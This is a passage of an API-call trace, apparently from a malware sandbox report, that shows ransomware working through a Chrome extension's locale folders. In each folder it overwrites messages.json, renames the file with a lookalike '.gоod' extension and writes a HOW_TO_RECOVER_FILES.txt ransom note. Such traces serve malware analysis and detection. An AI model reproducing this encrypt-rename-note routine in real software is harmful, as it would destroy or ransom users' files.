lpBuffer=0x38c1b20*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x38c1b20*, lpNumberOfBytesWritten=0x1f6e7558*=0xe0, lpOverlapped=0x0) returned 1 [0259.580] CloseHandle (hObject=0x86c) returned 1 [0259.580] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json", lpFilePart=0x0) returned 0x89 [0259.580] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0259.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0259.580] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553ea7d4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553eb9c8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x96ee3e72, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0259.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0259.580] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.gоod")) returned 1 [0259.581] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0259.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0259.581] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0259.582] GetFileType (hFile=0x86c) returned 0x1 [0259.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0259.582] GetFileType (hFile=0x86c) returned 0x1 [0259.583] WriteFile (in: hFile=0x86c, lpBuffer=0x38c5458*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x38c5458*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0259.585] CloseHandle (hObject=0x86c) returned 1 [0259.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0259.585] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr", lpFilePart=0x0) returned 0x7b [0259.585] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553f6fa1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553fd14a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553fd14a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0259.585] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553f6fa1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553fd14a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553fd14a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.585] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553fd14a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553fcb38, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0259.586] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0259.586] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0259.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0259.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0259.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0259.586] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr", lpFilePart=0x0) returned 0x7b [0259.586] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553f6fa1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553fd14a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553fd14a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac80 [0259.586] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553f6fa1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553fd14a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553fd14a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.586] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553fd14a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553fcb38, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0259.586] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553fd14a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553fcb38, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0259.587] FindClose (in: hFindFile=0x134ac80 | out: hFindFile=0x134ac80) returned 1 [0259.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0259.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0259.587] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json", lpFilePart=0x0) returned 0x89 [0259.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0259.587] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x38d5428 | out: lpFileInformation=0x38d5428*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553fd14a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553fcb38, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x104)) returned 1 [0259.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0259.588] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json", lpFilePart=0x0) returned 0x89 [0259.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0259.588] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0259.588] GetFileType (hFile=0x86c) returned 0x1 [0259.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0259.588] GetFileType (hFile=0x86c) returned 0x1 [0259.588] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0x104 [0259.588] ReadFile (in: hFile=0x86c, lpBuffer=0x38d58e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x38d58e8*, lpNumberOfBytesRead=0x1f6e7648*=0x104, lpOverlapped=0x0) returned 1 [0259.588] CloseHandle (hObject=0x86c) returned 1 [0261.064] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json", lpFilePart=0x0) returned 0x89 [0261.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0261.064] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0261.064] GetFileType (hFile=0x85c) returned 0x1 [0261.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0261.064] GetFileType (hFile=0x85c) returned 0x1 [0261.065] WriteFile (in: hFile=0x85c, lpBuffer=0x3acaaf0*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x3acaaf0*, lpNumberOfBytesWritten=0x1f6e7558*=0x110, lpOverlapped=0x0) returned 1 [0261.065] CloseHandle (hObject=0x85c) returned 1 [0261.065] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json", lpFilePart=0x0) returned 0x89 [0261.065] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0261.065] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0261.065] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553fd14a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553fcb38, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x97d1916c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0261.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0261.065] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.gоod")) returned 1 [0261.066] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0261.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0261.066] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0261.067] GetFileType (hFile=0x85c) returned 0x1 [0261.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0261.067] GetFileType (hFile=0x85c) returned 0x1 [0261.067] WriteFile (in: hFile=0x85c, lpBuffer=0x3ace428*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x3ace428*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0261.068] CloseHandle (hObject=0x85c) returned 1 [0261.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0261.068] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv", lpFilePart=0x0) returned 0x7b [0261.068] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5541a6c7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55429128, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55429128, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ada0 [0261.068] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5541a6c7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55429128, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55429128, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.069] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55429128, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5542b168, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0261.069] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0261.069] FindClose (in: hFindFile=0x134ada0 | out: hFindFile=0x134ada0) returned 1 [0261.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0261.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0261.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0261.069] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv", lpFilePart=0x0) returned 0x7b [0261.069] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5541a6c7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55429128, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55429128, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0261.069] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5541a6c7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55429128, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55429128, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.069] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55429128, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5542b168, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0261.070] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55429128, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5542b168, ftLastAccessTime.dwHighDateTime=0x1d327ca, 